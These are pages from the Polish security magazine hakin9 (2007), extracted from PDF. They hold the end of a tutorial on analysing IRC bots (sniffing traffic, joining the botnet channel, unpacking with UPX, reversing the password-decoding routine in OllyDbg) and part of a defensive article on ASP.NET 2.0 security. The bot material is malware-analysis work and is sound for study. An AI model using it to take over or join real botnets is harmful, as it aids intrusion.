Najłatwiejszym, a zarazem najszyb-
szym sposobem na ustalenie adresu
docelowego serwera, nazwy kanału
oraz klucza kanału, jest podsłucha-
nie sieciowych pakietów wychodzą-
cych z komputera, na którym znajdu-
je się bot. W tym celu można posłu-

żyć się popularnym snifferem o na-
zwie Ethereal. Po uruchomieniu snif-
fera, należy wybrać odpowiedni inter-
fejs za pomocą okna

Capture

Inter-

faces. Po kliknięciu przycisku Cap-

ture przy danym interfejsie, rozpocz-
nie się nasłuchiwanie pakietów. Wy-
starczy teraz uruchomić plik wyko-
nywalny bota i odczekać kilkanaście
sekund. Po wciśnięciu przycisku stop
w programie Ethereal nasłuchiwanie
zostanie przerwane, a przechwycone
pakiety zostaną wyświetlone.

W Sieci

http://www.google.com/codesearch

– wyszukiwarka źródeł ułatwiająca
odnalezienie botów (RxBot, GT-bot
Sd-Bot, Spy-Bot.),

http://www.secretashell.com/

codomain/peid/ – strona programu
PEiD,

http://www.ollydbg.de/ – strona

programu OllyDbg,

http://upx.sourceforge.net/ – stro-

na programu UPX.

Rysunek 5.

Niezakodowane dane konfiguracyjne bota

Rysunek 6.

Podłączanie pod proces bota

Rysunek 8.

Lista odwołań do funkcji API

Rysunek 7.

Dane widoczne po podłączeniu się pod proces bota

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

28

W jednym z pierwszych pakietów

zobaczymy nawiązanie połączenia
TCP pomiędzy botem a serwerem
IRC. Uzyskujemy tym samym adres
serwera oraz numer portu, na którym
działa usługa IRC. Jeżeli podczas
nasłuchiwania mieliśmy uruchomio-
ne również inne programy sieciowe
– warto ustawić filtr, który usunie nie-
istotne dla nas pakiety. Jeżeli połą-
czenie z serwerem zostało nawiąza-
ne na porcie 6667, można wówczas
ustawić filtr, który pokaże jedynie pa-
kiety odnoszące się do tego portu:

tcp.port eq 6667

Kolejne pakiety odzwierciedlają ko-
munikację bota z usługą IRC. Ethe-

real oznacza polecenia wydawane
przez bota jako IRC Request. Środ-
kowe okno ukazuje treść danego po-
lecenia. Jak określa specyfikacja pro-
tokołu IRC, klient zobowiązany jest
przesłać nazwę pod jaką będzie wi-
dziany – nick. W tym przypadku nick
bota ma postać bot_no-12. Następ-
nym istotnym poleceniem jest JOIN,
wywołane w taki sposób:

JOIN #my-botnet-00 botnet-#chan-00

Pierwszy parametr stanowi nazwę
kanału, a drugi klucz.

Na podstawie tych informacji je-

steśmy w stanie połączyć się z botne-
tem. Po wejściu na kanał powinniśmy
ujrzeć pozostałe komputery tworzące
sieć. Ze względu na brak hasła, nie
jesteśmy w stanie dokonać uwierzy-
telnienia, dlatego jesteśmy ogranicze-
ni do biernej obserwacji kanału.

Czytanie pliku

binarnego

Główną wadą poprzedniej metody
jest brak możliwości uzyskania hasła.
Podgląd pliku binarnego bota, stwarza
niekiedy szansę na odczytanie zmien-
nych przechowujących dane konfigu-
racyjne – w tym hasła. Dobrze do tego
celu nadaje się edytor szesnastkowy
o nazwie hiew. Przed rozpoczęciem
analizy pliku należy zwrócić uwagę
na to, czy plik nie jest skompresowany
pakerem dla plików wykonywalnych,
takim jak UPX. Jest to dosyć częstą

praktyką wśród twórców botów, ze
względu na to, że skompresowanie
pliku exe pozwala na znaczne zmniej-
szenie objętości, a także utrudnia wy-
krycie programom antywirusowym.
Jeżeli mamy wątpliwości co do pake-
ra, jaki został użyty do skompresowa-
nia pliku, możemy posłużyć się narzę-
dziem PeiD (link w ramce W Sieci).

W tym przypadku bot jest skom-

presowany programem UPX. W ce-
lu rozpakowania pliku należy wydać
komendę:

upx –d bot.exe

Jeśli nie uzyskaliśmy błędów przy
dekompresji, możemy wczytać otrzy-
many plik do edytora hiew. Wciskając
[F4] przełączamy edytor w tryb hek-
sadecymalny.

Następnie przy pomocy sekwen-

cji klawiszy [F8] , [F6] przechodzimy
do tabeli, w której znajduje się spis
sekcji pliku EXE. Aby obejrzeć zade-
klarowane dane, wybieramy sekcje

.data. Jeżeli dane nie zostały dodat-

O autorach

Dawid Gołuński jest samoukiem, pa-
sjonatem, od wielu lat interesującym
się Informatyką, a w szczególności
aspektami bezpieczeństwa. Studiuje
Sieci komp. w ramach programu Ci-
sco Network Academy na Politech-
nice Poznańskiej. Kontakt do autora:
golunsk@crackpl.com
Krzysztof Kułaj jest studentem kierun-
ku Elektronika i Telekomunikacja na
Uniwersytecie Zielonogórskim, na co
dzień zajmuje się wdrożeniami syste-
mów antywirusowych. Kontakt do au-
tora: krzysztof_kulaj@o2.pl

Trudne pojęcia

• kod P-O-C – czyli Proof Of Concept,

jest to nieszkodliwy kod (np. uru-
chamiający kalkulator) – dołączany
do opisu błędu/techniki jako dowód
istnienia błędu oraz pokaz możliwo-
ści jego wykorzystania.

Rysunek 9.

Kod przy wywołaniu funkcji gethostbyname

Rysunek 11.

Referencje do funkcji dekodującej

Rysunek 10.

Ciało funkcji decode

background image

kowo zakodowane, poruszając się
po tej sekcji, ujrzymy dane konfigura-
cyjne bota, takie jak komenda logo-
wania, hasło, nazwa kanału, klucz,
adres serwera, wersja bota itp.

Deasemblacja

Stosunkowo często zdarza się, że
najbardziej istotne dane wewnątrz
bota (hasła, adresy serwerów, na-
zwy kanałów) są kodowane. Ma to
miejsce, aby uniemożliwić ich odczy-
tanie z poziomu hexedytora. W ta-
kim przypadku konieczna może oka-
zać się deasemblacja programu oraz
przeprowadzenie inżynierii wstecz-
nej w celu ustalenia sposobu kodo-
wania ciągów znakowych. Wykorzy-
stamy debugger o nazwie OllyDbg,
aby przedstawić analizę działania
dwóch zmodyfikowanych wersji Spy-

Bota. Sprawa jest prosta, gdy łańcu-
chy znaków dekodowane są nieopo-
dal początku programu. Warto wspo-
mnieć, że domyślna wersja SpyBota
postępuje właśnie w taki sposób. Wy-
starczy wtedy uruchomić bota, a na-
stępnie podłączyć się pod utworzony
przez niego proces za pomocą opcji

File - Attach.

W dolnym oknie znajduje się sek-

cja danych. Z chwilą podłączenia
pod proces bota – ujrzymy zdekodo-
wane łańcuchy znaków.

Sprawa jest nieco trudniejsza,

gdy ciągi znaków są dekodowane
tuż przed wywołaniem danej funkcji.
Przykładowo:

strcmp( dekoduj(
zakodowany_ciag), password);

W takim wypadku konieczne jest od-
nalezienie funkcji dekodującej. Jeżeli
uda się ją odnaleźć, będziemy w stanie
prześledzić jej działanie oraz spraw-
dzić, jakie ciągi znaków są do niej
przekazywane. Wyszukanie procedu-
ry może przysporzyć pewne proble-
my, gdyż tylko kilka najważniejszych
łańcuchów podlega kodowaniu, a pro-
gram w czasie swojego działania wy-
wołuje dużą liczbę funkcji. Sprawdza-
nie każdej z nich zajęłoby sporo czasu.
Dlatego najlepiej z góry ustalić funkcję,
do której na pewno przekazywany jest
uprzednio zdekodowany string. Np. je-

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

30

śli podczas przechwytywania pakietów
snifferem zobaczyliśmy napis:

DNS Standard query A irc.efnet.pl
DNS Standard query response
A 217.17.33.10

To oznacza, że bot korzysta z funkcji

gethostbyname(), aby rozwiązać na-
zwę hosta (ircserwera) na adres IP.
Idąc tym tropem, możemy przypusz-
czać, że gdzieś w kodzie znajduje się
wywołanie podobne do:

gethostbyname(decode(
zakodowana_nazwa_ircserwera))

OllyDbg

umożliwia

wylistowanie

wszystkich odwołań do funkcji API, po-
przez wybranie z menu kontekstowego

Search for - All intermodular calls.

Jak widzimy na Rysunku 8, od-

wołanie do funkcji gethostbyname()
występuje pod adresem 00407B65.
Wciskając enter na tej linii zostanie-
my przeniesieni do kodu, który widzi-
my na Rysunku 9.

Argument dla funkcji gethostby-

name() znajduje się w rejestrze EAX,
który jest odkładany na stos instruk-
cją

PUSH EAX

. Co jednak zawiera ten

rejestr? Jak się domyślamy – jest to
wynik poszukiwanej przez nas funkcji
- dekodującej łańcuchy znaków (na-
zwijmy ją decode). Na podstawie jej
wywołania możemy wywnioskować,
że przyjmuje ona 3 argumenty oraz
zwraca wskaźnik do zdekodowanego
ciągu znaków (który, w tym przypad-
ku przekazywany jest do gethostby-

name()). Oczywiście możemy zajrzeć
do jej wnętrza.

Po wykonaniu dokładnej analizy

tej funkcji, jesteśmy w stanie opisać
jej działanie za pomocą języka C.

Funkcja działa w następujący

sposób: argument text zawiera adres
dekodowanego ciągu znaków. Pętla
wykonuje się tyle razy, ile znaków ma
dekodowany ciąg. Przy każdym obie-
gu pętli od kodu ASCI znaku odejmo-
wana jest liczba określona parame-
trem param oraz pozycja znaku (nu-
merując od zera) pomnożona przez
3. Zdekodowany ciąg znaków trafia
pod adres wskazywany przez para-
metr where. Aby poznać zakodowa-

ne łańcuchy znaków, wystarczy wy-
świetlić wszelkie odwołania (referen-
cje) do funkcji decode. Czynimy to,
zaznaczając linijkę określoną jako

funkcja dekodujaca! Następnie wy-
bieramy z menu kontekstowego Find

references to - Call destination

Wybierając ostatnią z referencji,

trafimy do kodu przedstawionego na
Rysunku 12.

Znajdziemy tutaj wszystkie in-

formacje potrzebne do zdekodowa-
nia stringu:

• adres, pod którym mieści się zako-

dowany łańcuch znaków (zazna-
czony w dolnej części rysunku),

• parametr kodujący param.

Podstawiając te dane do funkcji deko-
dującej, otrzymamy ciąg znaków Se-

cretPass!! Zamiast rozpracowywać
algorytm dekodujący, można oczywi-
ście ustawić pułapkę (breakpoint) na
wyjściu z funkcji decode - co zapewni
zatrzymanie programu w momencie
zakończenia procedury dekodującej
– pozwalając na swobodne odczyta-
nie zdekodowanego łańcucha (jego
adres wskazuje rejestr EAX).

Obrona przed botami

Ponieważ boty często są pisane od
podstaw, programy antywirusowe nie
posiadają ich sygnatur. Pewnym roz-
wiązaniem może być używanie fire-
walla, który jest w stanie zabloko-

wać ruch wychodzący z niezaufane-
go programu. Należy tu jednak za-
znaczyć, że firewalle nie zawsze są
całkowicie skuteczne. Odpowiednio
napisany bot niekiedy jest w stanie
przedostać się poprzez zaporę, uży-
wając techniki zdalnych wątków (re-

mote threads).

Najlepszą metodą ochrony przed

botami jest uniemożliwienie infekcji
– czyli przeciwdziałanie metodom uję-
tym w rozdziale dot. rozprzestrzenia-
nia się botów. Należy posiadać aktu-
alne poprawki bezpieczeństwa, nigdy
otwierać linków z nieznanych źródeł
oraz używać silnych haseł w przypad-
ku udostępniania zasóbów Windows.

Podsumowanie

Zabezpieczenie przed Sieciami Zom-
bie to jedno z najważniejszych za-
dań, jakie stoi przed społecznością
Internetu. Według przeprowadzo-
nych badań, 25% komputerów oso-
bistych znajduje się w co najmniej
jednej Sieci Zombie. Oznacza to, że
statystycznie rzecz biorąc, co czwar-
ty z Czytelników ma zainstalowane-
go co najmniej jednego bota. Artykuł
pokazuje, że bonety niosą za sobą
liczne niebezpieczeństwa, w wyniku
których łatwo utracić wrażliwe dane
czy pieniądze zgromadzone na kon-
cie bankowym. Nie pozwólmy, aby
nasz komputer stał się narzędziem w
rękach intruza. l

Rysunek 12.

Jedno z wywołań funkcji decode

background image

Portal internetowy na którym można znaleźć

garść informacji z wybranych dziedzin IT.

http://howto.pl/

Hacking, security to pojęcia znane profesjonali-

stom na tym portalu można dowiedzieć się cze-

goś więcej o tych zagadnieniach.

http://www.security-web.info

Strona zawiera ogłoszenia pracy na stanowi-

ska związane z branżą IT.

http://pracait.com

Portal poświęcony aktualnościom, artykułom

ze świata informatycznego. Zawiera ciekawe

linki, gry on-line i wiele innych interesujących

wiadomości.

http://hackme.pl

Serwis internetowy firmy QuarkBit Software,

która zajmuje się tworzeniem oprogramowania

dla firm i osób prywatnych.

http://www.quarkbitsoftware.pl

Misją serwisu jest dostarczanie rzetelnych infor-

macji z zakresu szeroko pojętej informatyki. Za-

wiera najświeższe informacje z rynku informa-

tycznego i recenzje czasopism takich jak Hakin9,

php solution, sdj.

http://www.itnews.icx.pl

To portal wydawnictwa CSH. Na tej stronie za-

interesowana osoba znajdzie garść potrzeb-

nych informacji: aktualności ze świata informa-

tycznego, informacje na temat szkoleń itd.

http://www.szkolahakerow.pl

Serwis informacyjny, na którym znajdują się

najświeższe aktualności i artykuły, można zalo-

gować się na forum i podyskutować z ciekawy-

mi osobami na interesujące teamty.

http://www.cc-team.org

Strona internetowa poświęcona aktualnościom

informatycznym. Umieszczone są na niej cie-

kawe artykuły oraz recenzje pism.

http://www.huntersq2.boo.pl

Strony

polecane >>>

Strony

polecane

Misją Infoprof jest zrozumienie potrzeb klienta

i taki dobór usług by jak najlepiej spełniały one

jego oczekiwania, jednocześnie nie narażając

go na niepotrzebne koszty.

www.infoprof.pl

Portal poświęcony zdalnym rozwiązaniom IT,

świadczone usługi są dyskretne i dokładne.

http://xesit.pl

Portal powstał w celu rozreklamowania firmy

zajmującej się kompleksową usługą związaną

z promowaniem stron WWW.

http://www.webgroup.net.pl

background image

www.hakin9.org

hakin9 Nr 7/2007

32

Obrona

Z

astosowanie programowania opartego
na zdarzeniach pozwoliło między innymi
na odseparowanie kodu aplikacji i war-

stwy defi niującej wygląd. Dodatkowo możliwe
jest tworzenie kodu naszej aplikacji w różnych
językach .NET – C# oraz Visual Basic .NET. W
najnowszej wersji ASP.NET 2.0 usprawniono w
znaczący sposób wiele cech znanych z poprzed-
nich wersji platformy, a także wprowadzono wie-
le nowych elementów, wspomagających proces
szybkiego tworzenia aplikacji internetowych w
szczególności mających związek z bezpieczeń-
stwem. Tworzenie aplikacji, bez względu na to,
czy piszemy aplikacje dla środowiska klient-ser-
wer czy dla środowiska Web, zawsze wymaga
zastanowienia się nad aspektami bezpieczeń-
stwa. Tylko od nas zależy, czy nasza aplikacja
będzie działać poprawnie i czy użytkownicy bę-
dą mogli się do niej włamać.

ASP.NET 2.0 jako technologia bardzo moc-

no wspiera programistów, aby tworzyć bez-
pieczne rozwiązania. Niniejszy artykuł ma na
celu przedstawienie podstawowych zasad i
mechanizmów tworzenia bezpiecznych aplika-
cji WWW. Na początku powinniśmy zastano-
wić się nad samym pojęciem bezpieczeństwa.
Termin ów sam w sobie jest bardzo szerokim

tematem i obejmuje bardzo wiele pojęć i za-
gadnień. Na rysunku pierwszym widać ogólny
przekrój przez technologie oraz elementy zwią-
zane z procesem bezpieczeństwa.

Jak widać na Rysunku 1. podstawowe tech-

nologie to:

• IIS jako serwer WWW,
• ASP.NET jako platforma pisania aplikacji,

Bezpieczne aplikacje Web

w oparciu o ASP.NET2.0

Artur Żarski

stopień trudności

ASP.NET 20.0 jest technologią, dzięki której możliwe jest

tworzenie dynamicznych stron internetowych. Wykorzystuje

ona większość możliwości, jakie dostępne są wraz z platformą

.NET Framework w związku z wykorzystaniem środowiska

uruchomieniowego CLR.

Z artykułu dowiesz się

• Artykuł przedstawia dostępne technologie plat-

formy .NET, dzięki którym aplikacje Web mogą
stać się bezpieczniejsze. Pokazane są aspekty,
na które należy zwrócić uwagę przy tworzeniu i
konfi gurowaniu całego środowiska aplikacji.

Co powinieneś wiedzieć

• Przed przystąpieniem do lektury artykułu nale-

ży zapoznać się z podstawami bezpieczeństwa
aplikacji. Ze względu na ograniczenie do plat-
formy .NET należy znać podstawowe elementy
tej platformy oraz orientować się w jej technolo-
giach.

background image

Bezpieczne aplikacje Web w ASP.NET2.0

hakin9 Nr 7/2007

www.hakin9.org

33

• Enterprise Services jako obiekty

biznesowe klasy enterprise,

• SQL Server jako baza danych.

Wszystkie te technologie składa-
ją się z dwóch podstawowych ele-
mentów - autoryzacji oraz autenty-
kacji. Pojęcia te bardzo się od sie-
bie różnią, a mimo to często są my-
lone. Autentykacja to proces pobie-
rania danych użytkownika i jego
uprawnień. Natomiast autoryzacja
to proces sprawdzania, czy użyt-
kownik ma dostęp do pewnych za-
sobów.

Elementy technologii oraz jej ele-

mentów możemy przedstawić w ta-
beli

Bezpieczeństwo w

ASP.NET

Bezpieczeństwo ASP.NET jest bar-
dzo szerokim zagadnieniem, podob-
nie jak samo pojęcie bezpieczeń-
stwa. Opiera się ono o mechani-
zmy, które są istotne dla całej platfor-
my .NET. Składa się z bardzo wielu

elementów, które mogą mieć wpływ
na sposób działania naszej aplikacji
WWW oraz decydować o tym, jak du-
żo czasu będziemy musieli poświęcić
na oprogramowanie wszystkich me-
chanizmów oraz uniknięcie pew-
nych niechcianych zachowań. Poni-
żej przedstawiamy elementy mają-
ce wpływ na bezpieczeństwo aplika-
cji ASP.NET.

CAS - Code Access Security

ASP.NET jest składnikiem platfor-
my .NET Framework i rządzi się po-
dobnymi prawami, jak każda aplika-
cja .NET. Ogólnie rzecz biorąc, pro-
ces wygląda tu tak, że Common Lan-

guage Runtime (CLR) zezwala kodo-
wi aplikacji wykonywać tylko te ope-
racje, do których wykonania ma on
uprawnienia. Jeśli chcielibyśmy na-
rzucić jakąś politykę bezpieczeń-
stwa, musimy posiłkować się CAS
(Code Access Security). CAS jest
mechanizmem bezpieczeństwa CLR
wymuszającym politykę bezpieczeń-
stwa i umożliwia:

• defi niowanie, co może robić kod,
• defi niowanie, jaki program może

wywoływać dany kod,

• identyfi kowanie kodu.

Do głównych zadań CAS należą
między innymi:

• ograniczenia narzucone kodowi

w zakresie zdefi niowanych zasad
bezpieczeństwa,

• defi niowanie uprawnień do zaso-

bów systemowych,

• żądanie określonych uprawnień z

kodu,

• przydzielanie uprawnień ładowa-

nemu kodowi w zakresie zasad
bezpieczeństwa,

• konfi gurowanie przez administra-

tora zasad bezpieczeństwa dla
grup kodu.

Dla wielu programistów .NET CAS
nie jest znany i nie mają oni świa-
domości jego możliwości. Może to
stanowić pewien problem, ponieważ
każda aplikacja wykorzystuje CAS,
a w zasadzie podlega jego regułom.
Dlaczego tak się dzieje? Może to wy-
nikać z faktu, że większość naszych
stron WWW, które piszemy, urucha-
miamy lokalnie, na lokalnym użyt-
kowniku, etc. W momencie urucho-
mienia aplikacji Web w rozproszo-
nym środowisku, coś nagle przesta-
je działać.

Uwierzytelnianie

w ASP.NET 2.0

Znane jest już nam pojęcie autenty-
kacji. Zobaczmy teraz, jak wygląda
proces uwierzytelniania. W ASP.NET
wyróżniamy następujące sposoby
uwierzytelniania: systemu Windows,
za pośrednictwem formularza oraz
przy użyciu usługi Passport. Możli-
wy jest też jeszcze jeden podział wg
trudności uwierzytelniania. Wyróżnić
możemy następujące jego sposoby:

• proste – zintegrowane oraz for-

mularze,

• średniozaawansowane – szyfro-

wanie hasła, wykorzystanie sy-
gnatur (hash) (np. NTLM, Digest),

• zaawansowane – certyfi katy,

Kerberos.

Tabela 1.

Technologie związane z bezpieczeństwem oraz ich elementy

IIS

Autoryzacja

Autentykacja

Uprawnienia NTFS

Autoryzacja Windows

Restrykcje IP

Dostęp anonimowy
Certyfi katy
Dostęp podstawowy

ASP.NET

Autoryzacja

Autentykacja

URL

Windows

Pliki

Formularze

Role .NET

Passport
Własne

Enterprise Services

Autoryzacja

Autentykacja

Role COM+

RPC

Uprawnienia NTFS

SQL Server

Autoryzacja

Autentykacja

Użytkownicy

Windows

Uprawnienia do obiektów

SQL Server

Role bazy danych
Role użytkownika
Role aplikacyjne

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

34

W przypadku autoryzacji, wykorzy-
stywany jest mechanizm Role Ba-

sed Security, czyli zabezpieczenia
bazujące na rolach. Polegają one na
sprawdzeniu tożsamości użytkowni-
ka i pozwoleniu bądź odrzuceniu żą-
dania do zasobu.

Zintegrowana autoryzacja

Najbardziej popularne i najczęściej
stosowane są mety uwierzytelniania
zintegrowanego oraz poprzez formu-
larze. Pierwszy z nich bazuje na usta-
wieniach serwera IIS i największa
część pracy wymagana jest po stro-
nie jego konfi guracji. Jak wyglądają
poszczególne ustawienia w uwierzy-
telnianiu zintegrowanym, przedstawia
Tabela 2. Kolumna rodzaj uwierzy-
telnienia to konkretne sposoby, nato-
miast kolumna zachowanie określa,
jak ten proces wygląda.

Formularze

Autoryzacja na poziomie formula-
rzy jest zupełnie odmiennym proce-
sem. O ile w przypadku uwierzytel-
niania zintegrowanego nie wprowa-
dzaliśmy nazwy użytkownika i ha-
sła, to w przypadku formularzy musi-
my te wartości podać. Dopiero na ich
podstawie system da nam dostęp do
zasobów i zaloguje lub odrzuci zgło-
szenie. Logowanie zwykle odbywa
się na specjalnej stronie WWW, na
której podajemy nazwę użytkownika
i hasło. Zaletą tego typu autoryzacji
jest możliwość uwierzytelniania do
dowolnej listy użytkowników. Ta lista
może być przechowywana w bazie
danych, może to być dowolny serwer
LDAP lub dowolne inne źródło – plik
XML, lista użytkowników trzymana w
pliku Web.confi g, etc.

Przykładowa lista użytkowników

w pliku Web.confi g może wyglądać
jak na Listingu 1.

W przypadku uprawnień prze-

chowywanych w bazie danych może
to być (i najczęściej tak właśnie jest)
zwykła tabela, w której mamy dwa
pola: użytkownik i hasło.

Passport authentication

Jeszcze jednym sposobem auten-
tykacji jest użycie usługi Microsoft
.NET Passport. Usługę tę najczę-

ściej można znaleźć na stronach fi r-
mowych Microsoft. Niewątpliwą jej
zaletą jest to, że posiadając konto w

usłudze Passport, możemy mieć jed-
nocześnie dostęp do różnych witryn
(np. nasza własna witryna oraz witry-

Tabela 2.

Sposoby zintegrowanego uwierzytelniania

Sposób uwierzytelnie-

nia

Zachowanie

Dostęp anonimowy

Nie chronimy nic – każdy użytkownik ma do-
stęp

Basic authentication

Login i hasło jawnie przesyłane w nagłówku
HTTP
Wykorzystanie tylko z SSL

Digest authentication

Przesyłanie hasha hasła

Windows Integrated au-
thentication

challenge-response, dwufazowe, NTLM

Mapowanie certyfi katów

Bardzo uniwersalne, obsługiwane przez
wszystkie systemy
Możliwość mapowania certyfi katu na konto
użytkownika techniką jeden-do-jednego oraz
jeden-do-wielu
Możliwość przechowywania certyfi katów na
bezpiecznych nośnikach

Kerberos

Wymaga Active Directory oraz Windows XP/
2000 u klienta

Rysunek 1.

Elementy bezpieczeństwa na platformie .NET

Clients

Web Server

IIS

ASP.NET

IIS

ASP.NET

Web

Services

.NET

Remoting

SQL Server

Database Server

IIS

ASP.NET

Enterprise

Services

(COM+)

Secure Communication (SSL

/ IPSec)

background image
background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

36

na na stronach MSDN). Niestety ma
ona jedną wadę, a jest nią sposób im-
plementacji usługi - do tego celu mu-
simy wykorzystać specjalny SDK.

ASP.NET 2.0 i elementy

dla programisty

Wraz z ASP.NET 2.0 programiści
dostali całkiem spory zasób kontro-
lek, które pozwalają w bardzo pro-
sty i szybki sposób zaimplemento-
wać proces logowania i autoryzacji
w systemie. Na Rysunku 2. widać
zestaw nowych kontrolek, które są
dostępne w Visual Studio.

Najważniejsze z tych kontro-

lek to:

CreateUserWizard – uruchamia

wizarda, dzięki któremu możemy
stworzyć użytkownika,

Login – czyli logowanie,
LoginStatus – kontrolka odpo-

wiadająca za stan zalogowania
– określa, czy użytkownik został
zalogowany czy nie,

PasswordRecovery – możliwość

odzyskania hasła na podstawie
jakieś tajemniczego pytania,

ChangePassword – kontrolka

umożliwiająca w bardzo prosty
sposób zmianę hasła.

Co najistotniejsze z punktu widze-
nia programisty, to fakt, że pozbywa-
my się czasu na implementacje tego
fragmentu aplikacji. Po prostu prze-
nosimy kontrolkę na formularz, a na-
stępnie konfi gurujemy. Cała praca
związana z tworzeniem przycisków,
etykiet, podłączaniem do źródeł da-
nych etc. jest już zrobiona. Na Ry-
sunku 3. przedstawione zostały nie-
które kontrolki związane z logowa-
niem i użytkownikami.

Web Site Administration Tool

Bardzo istotnym elementem z punk-
tu widzenia bezpieczeństwa aplika-
cji ASP.NET jest narzędzie Web Si-

te Administration Tool. Jest to na-
rzędzie, dzięki któremu mamy możli-
wość utworzenia użytkowników, gru-
py użytkowników, serwera poczto-
wego, dostawców usług uwierzytel-
nienia, etc. Rysunek 4. przedstawia
główny ekran tego narzędzia. Na-
rzędzie to jest bardzo proste w ob-

słudze i bardzo intuicyjne – aby np.
stworzyć nowego użytkownika, wy-
starczy w menu użytkownicy wybrać
opcję New, a następnie podać odpo-
wiednie informacje, a użytkownik zo-
stanie założony.

Praca z danymi

Praca z danymi w przypadku apli-
kacji ASP.NET odbywa się na po-
dobnych zasadach, jak w przypadku
zwykłych aplikacji okienkowych. Po-
trzebne nam jest źródło danych, po-
łączenie, zestaw zapytań oraz miej-

Listing 1.

Przykładowa defi nicja użytkowników pliku web.confi g

<authentication mode="Forms">
<forms name="frmLog" loginUrl="/logowanie.aspx">
<credentials passwordFormat="SHA1">
<

user

name="Artur"

password

="07B7F3EE06F278DB966BE960E7CBBD103DF30CA6"/>

<

user

name="Karol"

password

="BA56E5E0366D003E98EA1C7F04ABF8FCB3753889"/>

</credentials>
</forms>
</authentication>

Listing 2.

Defi nicja połączenia do bazy danych w pliku app.confi g

<connectionStrings>
<

add

name="DD_cnx"

connectionString="Data Source=ARTURZ02\SQLEXPRESS;Initial Catalog=DeveloperDays;Persist Security Info=

True

;

User

ID=dd_user;

Password

=haslo;"

providerName="System.Data.SqlClient" />
</connectionStrings>

Listing 3.

Defi nicja połączenia do bazy danych w pliku web.confi g przed zaszyfrowaniem

<connectionStrings>
<

add

name="Pubs" connectionString="Server=localhost;Integrated Security=

True

;Database=Pubs"

providerName="System.Data.SqlClient" />
<

add

name="Northwind" connectionString="Server=localhost;Integrated Security=

True

;Database=Northwind"

providerName="System.Data.SqlClient" />
</connectionStrings>

Rysunek 2.

Dostępne kontrolki do

logowania w ASP.NET 2.0

background image

hakin9 Nr 7/2007

37

sce, do którego trafi ą wyniki nasze-
go zapytania. Źródłem danych mo-
że być dowolny element: baza da-
nych, plik, obiekt, etc. Istotnym ele-
mentem jest sposób podłączenia się
do naszego źródła. Najczęściej wy-
korzystuje się klasę SqlConnection
i podaje jako parametr Connection-

String. ConnectionString jest niczym
innym, jak tylko zestawem informa-
cji, które pozwalają na identyfi kację
serwera, identyfi kację bazy danych
oraz parametry użytkownika.

Nasz kod do połączenia z bazą da-

nych może wyglądać jak na Listingu 5.

W ten sposób zapisane dane nie

są jednak bezpieczne. Dlatego też
ConnectionString można przenieść
do pliku Web.confi g. Wtedy w pliku
tym pojawi się sekcja podobna do
sekcji z Listingu 2.

Przenosząc jawnie zapisany ciąg

połączenia do pliku Web.confi g, zro-
biliśmy pierwszy krok, aby zabezpie-
czyć się przed najprostszymi sposo-
bami włamania do serwera. Nieste-
ty w przypadku bardziej zaawanso-
wanych użytkowników również i taki
sposób zapisu nie chroni nas przed
niepowołanym dostępem. Dlatego
też wraz z ASP.NET mamy możli-
wość szyfrowania ConnectionString
w plikach Web.confi g. Do tego celu
wykorzystujemy polecenie dostęp-
ne w ramach .NET Framework: asp-
net_regiis. Jeśli nasz plik web.confi g
wygląda tak jak na Listingu 3.

To po wykonaniu polecenia:

aspnet_regiis -pe
"connectionStrings"
-app "/NaszaAplikacja"

Rysunek 3.

Wygląd poszczególnych kontrolek na formularzu

www.hakin9.org

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

38

Dostaniemy wynik jak na Listingu 4.

Gdzie w polu CipherValue będzie

zaszyfrowany nasz ciąg.

Serwer WWW

Oczywiście nie tylko sama aplika-
cja musi być bezpieczna. Ważne
jest też, aby i serwer WWW był bez-
pieczny. Co może sprawić, ze na-
sza aplikacja będzie działać bez-
piecznie? Oczywiście szyfrowa-
nie transmisji danych przy wyko-
rzystaniu protokołu SSL. SSL (Se-

cure Socket Layer) jest protokołem
sieciowym używanym do bezpiecz-
nych połączeń internetowych. Zo-
stał opracowany przez fi rmę Net-
scape i powszechnie go przyjęto ja-
ko standard szyfrowania na WWW.
Normalnie strony z serwerów oraz
formularze do serwera są prze-
syłane przez Sieć otwartym tek-
stem, który stosunkowo łatwo prze-
chwycić (szczególnie w Sieci lokal-
nej). Jeśli serwer używa protokołu
SSL do komunikacji z przeglądar-
ką, wówczas informacja w obie stro-
ny (między serwerem WWW i prze-
glądarką) jest przesyłana przez sieć
w sposób zaszyfrowany, co odszy-
frować jest już stosunkowo trudno.
SSL realizuje szyfrowanie, uwierzy-

telnienie serwera (ewentualnie użyt-
kownika również) i zapewnienie in-
tegralności oraz poufności przesy-
łanych informacji. W momencie na-
wiązania połączenia z bezpiecz-
ną (stosującą protokół SSL) stroną
www następuje ustalenie algoryt-
mów oraz kluczy szyfrujących, sto-
sowanych następnie przy przekazy-
waniu danych między przeglądarką
a serwerem WWW.

Podsumowanie

Bezpieczeństwo aplikacji nie jest już
wyłącznie domeną administratorów.
Szczególnego znaczenia nabiera-
ją te słowa w przypadku tworzenia
aplikacji WWW. ASP.NET 2.0 daje
szerokie możliwości zabezpieczenia
się przed niepowołanym dostępem.
Oczywiście nieuniknione jest wspar-
cie ze strony systemu operacyjne-

W Sieci

• ofi cjalna strona ASP.NET – http://www.asp.net/,
• bezpieczeństwo aplikacji ASP.Net przygotowane przez grupę Patterns & Practices

http://msdn2.microsoft.com/en-us/library/ms998372.aspx,

• fragment książki – ASP.NET 2.0 security – http://www.awprofessional.com/

articles/article.asp?p=351414&rl=1,

• książka Developing More-Secure Microsoft® ASP.NET 2.0 Applications –

http://www.microsoft.com/mspress/books/9989.aspx,

• podstawy SSL – http://pl.wikipedia.org/wiki/Transport_Layer_Security,
• SSL teoria – http://mufl on.photosite.pl/doc/progzesp/ssl.html.

Rysunek 4.

Widok główny narzędzia Web Site Administration Tool

go oraz serwera WWW, niemniej
jednak sama platforma .NET oferu-
je całkiem spore możliwości. Niniej-
szy artykuł bardzo ogólnie przedsta-
wił podstawowe elementy, aby poka-
zać czytelnikom, jak zabrać się za
aspekty bezpieczeństwa i bezpiecz-
nego tworzenia aplikacji WWW. Nikt
nie powinien twierdzić, że tworzenie
bezpiecznych aplikacji jest banalnie
proste, ale jednocześnie nie można
popadać w druga skrajność. Umie-
jętne użycie gotowych mechani-
zmów pozwoli nam na bardziej efek-
tywną i twórczą pracę bez koniecz-
ności skupiania się na najmniejszych
detalach związanych z implemen-
tacją naszej aplikacji (jak np. zmia-
